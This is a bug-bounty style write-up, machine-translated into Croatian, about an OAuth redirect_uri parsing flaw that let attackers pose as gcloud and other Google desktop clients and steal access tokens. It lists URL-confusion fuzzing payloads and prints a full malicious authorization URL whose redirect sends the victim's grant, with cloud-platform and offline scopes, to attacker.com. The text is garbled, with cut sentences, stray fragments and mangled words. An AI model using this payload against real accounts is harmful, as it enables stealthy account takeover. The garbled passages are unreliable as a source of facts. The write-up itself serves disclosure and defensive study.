TL;DR
Sljedeći: DROvaj članak prolazi kroz jedinstvenu ranjivost za preuzimanje OAuth računa koju sam nedavno otkrio koja utječe na nekoliko Google usluga.redirect_uri
Ranjivost omogućuje napadačima da pretvaraju legitimne aplikacije kao što je Google Cloud SDK klijent i ispuštaju token pristupa na poslužitelj koji kontrolira napadač, što omogućuje backdoor pristup računu žrtve - s gotovo nultim vidljivošću za žrtvu.
Note:Prva četiri odjeljka pokrivaju opću pozadinu o OAuth-u, riziku od curenja žetona i zbunjenosti analiziranja URL-a.Section 5: Google Cloud Account Takeover Case.
1. uvod
OAuth 2.0 omogućuje aplikacijama trećih strana da pristupaju korisničkim podacima bez obrade lozinki izravno tako što imaju autorizacijski poslužitelj (npr. Google) koji generira token koji će aplikacija trećih strana koristiti kako bi zatražila korisničke podatke ili izvršila radnje u njihovo ime.
Ali ako jeredirect_uri
parametar nije validiran s kirurškom preciznošću, napadači se mogu pretvarati da su pouzdane aplikacije i varati korisnike u curenje njihovih tokena pristupa.
U ovom članku, proći ću kroz to kako mi suptilna greška analiziranja URL-a omogućuje da to učinim - preko više Google usluga - s dubokim uronjenjem u slučaj Google Cloud.
Kako OAuth djeluje
Dok je OAuth prilično složen protokol koji zaslužuje niz članaka za potpuno razumijevanje, ovdje je pojednostavljeni pregled:
-
Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).
-
Redirect with Grant: After approval, the server redirects the user back to a predefined
redirect_uri
with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). -
Request user data: The client app uses the token to access the user’s protected data from the resource server.
Da biste vizualizirali stvari, previše pojednostavljeni diagram ispod pokazuje da se prijavim na Medium koristeći svoj Google račun:
Note:U mnogim slučajevima, autorizacijski server i server resursa su isti.
OAuth Token iscjedak
Gledajući gornji dijagram, najtužniji dio je korak 5, gdje autorizacijski server šalje generirani token natrag u aplikaciju klijenta.redirect_uri
znati gdje poslati token.
Ako ovaj parametar nije pravilno validiran, napadač može pretvarati da je aplikacija klijenta (npr. Medium) i prevariti autorizacijski poslužitelj da im pošalje korisnikov token pristupa – iako, s korisničke perspektive, sve izgleda legitimno.
Tipično je,redirect_uri
validirana u određenoj mjeri – ne možete samo baciti bilo koji slučajni URL na ovlaštenje poslužitelja. međutim, metode validiranja variraju među implementacijama ovisno o poslovnim potrebama, a greške u ovom procesu mogu biti iskorištene.
Neki zajednički uzorci:
- Striktno podudaranje: točno podudaranje niza s unaprijed registriranim URI-jem.
- Wildcard ili Path Prefix Matching: Dopušta URI kao što su https://example.com/* ili https://*.example.com.
- Loopback adrese: Uobičajene u desktop aplikacijama, gdje lokalni server rješava preusmjeravanje.
URL Parsing zbunjenost
PremaRFC 3986 Svijet, standardni URL ima sljedeću strukturu:
scheme://username:password@host:port/path?query#fragment
Svaka komponenta ima određenu ulogu:
-
scheme
: in web context it’s usually the protocol (e.g., http) -
username:password
: user credentials -
host
: the domain or IP address (e.g., google.com) -
port
: optional port number (e.g., 443) -
path
: the specific resource or endpoint (e.g., /login) -
query
: key-value pairs of parameters -
fragment
: a client side page reference
Note: host:port
To se spominje kaoauthority, username:password
Oni se spominju kaouserinfo
Na prvi pogled, to izgleda jednostavno – ali mogu se pojaviti suptilne razlike u analizi, osobito kada se rješavaju slučajevi s granicama.
Programeri mogu pretpostaviti da je URL analiziran na dosljedan, standardiziran način u svim knjižnicama, međutim, opsežna istraživanja o URL analizatorima dokazala su potpuno suprotno od toga.
-
OAuth redirect URI validation
-
SSRF prevention
-
Proxy or CDN routing
Ispod je primjer gdje se jedan URL tretira drugačije kroz tri različita parsera
Iako ovaj članak neće duboko ući u napade zbunjenosti analiziranja URL-a, oni su temeljito istraženi u 2017 Black Hat papiru.Nova era SSRF-a – iskorištavanje URL parsera u trendovnim programskim jezicima
5. slučaj preuzimanja Google Cloud računa
Ako ste ikada koristili Google Cloud prije, vjerojatno ste naišli nagcloud
CLI alat – moćan alat zapovjednog reda koji se koristi za upravljanje Google Cloud resursima. Među ostalim značajkama, omogućuje korisnicima da se autentificiraju koristeći svoje Google naloge kroz protok OAuth koji se temelji na pregledniku.
Evo kako to funkcionira:
-
The user runs
gcloud auth login
-
gcloud
spawns a local http server on a dynamic port (e.g., http://localhost:50000) -
gcloud
opens a browser window directing the user to a Google OAuth authorization URL withredirect_uri
set to the local server address -
The user authenticates and consents to the requested scopes
-
Google redirects the user to
redirect_uri
containing the authorization code -
gcloud
exchanges the authorization code for an access token -
gcloud
uses the access token to perform actions on the user’s Google cloud account
Da bi ovaj protok funkcionirao, Google vjeruje određenim URL-ovima (npr. http://localhost) za native aplikacije, budući da se smatraju dovoljno sigurnima za lokalnu uporabu i da su unutarnje bele liste.
A. Identifikacija površine napada
Nakon što je vidio alocalhost
Koristi se kaoredirect_uri
Moj prvi instinkt bio je zamijeniti ga127.0.0.1
i[::1]
Ovo je ključan korak jer potvrđuje da se URL-ovi zapravo analiziraju i uspoređuju interno, umjesto da imaju neke osnovne provjere kao što su:
if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
return False
Dakle, ovdje imamo dvije važne stvari koje se događaju:
-
The provided
redirect_uri
gets parsed and validated internally by Google’s backend. -
After a successful login and user consent, users get redirected to
redirect_uri
in the browser.
To znači da imamo dva URL parsera na mjestu, onoga koji koristi Googleov backend i parsera koji koristi naš preglednik (Chrome u mom slučaju), tako da, osim ako su ta dva parsera identična, bilo kakva nedosljednost između njih može se iskoristiti za curenje OAuth odobrenja na poslužitelju koji kontrolira napadač.
Cilj je sada jasan, moramo napraviti URL koji se analizira drugačije između dva analizatora, na način da varamo Googleov backend analizator da ga analizira kao adresu za povratak, dok ga Chromeov analizator analizira kao globalnu internetsku adresu.
Činjenica da imamo vrlo ograničeno znanje o Googleovom backendu i kojoj knjižnici interno koriste za analizu URL-ova, znači da smo ostali samo s pristupom crne kutije.
B. Fuzzing za pobjedu
Sljedeće što sam učinio bilo je napisati Python skript koji bi mutirao različite URL-ove primjenom različitih trikova kodiranja, alternativnih notacija i slučajeva granica kako bih vidio koji su prošli validaciju Googleovog backend-a, ali su Chrome drugačije tumačio, skript je koristio nekoliko trikova kao što su:
- Alternativne IP reprezentacije: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1]
- Privatne IP adrese: 10.0.0.5, 192.168.5.3, 127.10.0.1
- Različite sheme: file://, ldap://, ftp://, javascript://, data://
- CRLF injekcija: %0D%0A
- Hostname/IP kao korisnička informacija: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
- Vrlo dug URL: http://AAAAAA...@127.0.0.1
- DNS dodatak: 127.0.0.1.attacker.com
- Štetni URL-ovi: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
- Upit/fragment injekcije: Inject extra ? , & ili # prije/nakon @
- DNS rebinding (testirano ručno)
Nakon što sam neko vrijeme pokrenuo scenarij i, na moje iznenađenje, jedan od generiranih slučajeva ruba uspio je izazvati točnu razliku koju sam tražio, moja reakcija je bila:
Uspješan slučaj Edge pronađen je bio:
http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/
koji se može dodatno pojednostavniti na:
http://[::1]@[::1]@attacker.com/
Kada pokušamo analizirati ovaj URL pomoću Chrome-a, dobivamo sljedeći rezultat:
Zanimljiv dio ohttp://[::1]@[::1]@attacker.com/
Za početak, to je neispravan URL.@
Priroda je namijenjena razdvajanjuuserinfo
Od Thehostname
Chrome ublažava ovaj krajnji slučaj kodiranjem svih nerezerviranih znakova, kao i ranijih pojavljivanja rezerviranih znakova, i koristi samo najnoviju verziju@
kao što je ograničenje. to osigurava da bilo koji@
prije nego što je posljednji URL-kodiran.
Nasuprot tome, na temelju eksperimentalnog testiranja s varijacijama korisnog opterećenja, čini se da Googleov backend analizator nije pravilno kodirao prethodne pojave rezerviranih znakova i umjesto toga koristio prvu pojavu@
kao razdijelitelj. nakon što se podijeli na@
Parsons vjerojatno je izvukaouserinfo
ihostname
iz fiksnih pozicija, potpuno ignorirajući trailingattacker.com
.
Važno je napomenuti da je ovo ponašanje pokrenuto isključivo kada se koristi IPv6.http://127.0.0.1@127.0.0.1@attacker.com
Radilo je kako se očekivalo, naglašavajući da je nedosljednost bila specifična za IPv6 analizu logike.
C. Postavljajući sve zajedno
Sada je naš vektor napada postao jasan, možemo se pretvaratigcloud
cli alat i prevari korisnika da autentificira misli da se autentificiraju nagcloud
.
Napad se odvija ovako:
- Napravite zlonamjeran zahtjev za ovlaštenje OAuth-a i pošaljite njegovu vezu (kodni blok ispod) žrtvi
- Žrtvi je predstavljen potpuno legitimni protok autentifikacije OAuth za Google Cloud SDK klijent (slika 9)
- Žrtva se prijavljuje i pristaje na navedene dozvole (svrha)
- Žrtva se preusmjerava na naš zlonamjerni domaćin, s njihovim generiranim OAuth grantom
- Koristimo OAuth grant za obavljanje API poziva na račun žrtve u njihovo ime
https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256
Ispod je vizualizacija predloženog protoka napada
S gledišta korisnika, to bi izgledalo kao da se autentificiraju ugcloud
, čak i za Googleov autorizacijski server, izgledalo bi kao da se korisnik pokušava autentificirati ugcloud
, tako da učinkovito varamo obje strane autentifikacije da misle da je to legitimni proces autentifikacije dok se konačni token pristupa ulije u naš zlonamjerni host.
Izlječeni token pristupa će nam učinkovito omogućiti neograničen pristup preko računa žrtava, omogućujući nam da izvršimo čak i vrlo povlaštene radnje.
Ono što je ovaj napad učinilo još opasnijim je:
-
Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.
-
Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal
gcloud
application might request (we can only request scopes that are available but not actively requested)
Kao što smo spomenuli na početku ovog članka,gcloud
je samo jedna ranjiva aplikacija, ovdje su neke druge aplikacije koje sam pronašao da su ranjive također:
-
Google Drive Desktop Client
-
Firebase Desktop Client
-
Windows Mail (3rd-party app)
Google je reagirao brzo, priznao ozbiljnost u roku od 72 sata i dodijelio nagradu visoke ozbiljnosti.
6. zaključak
Ovo istraživanje naglašava kako suptilna razlika u analizi URL-a može potpuno ugroziti sigurnost cijelog protoka autentifikacije koji se ponovno koristi u različitim aplikacijama i uslugama, čak i kada ga provodi tvrtka koja je zrela i sigurnosno svjesna kao Google.
Iako je OAuth zreli i dobro proučavani protokol, njegova sigurnost uvelike ovisi o sitnim detaljima implementacije koji variraju između platformi, knjižnica i okruženja.
Google je otada ispravio ranjivost nakon odgovornog otkrivanja.
Hvala na čitanju!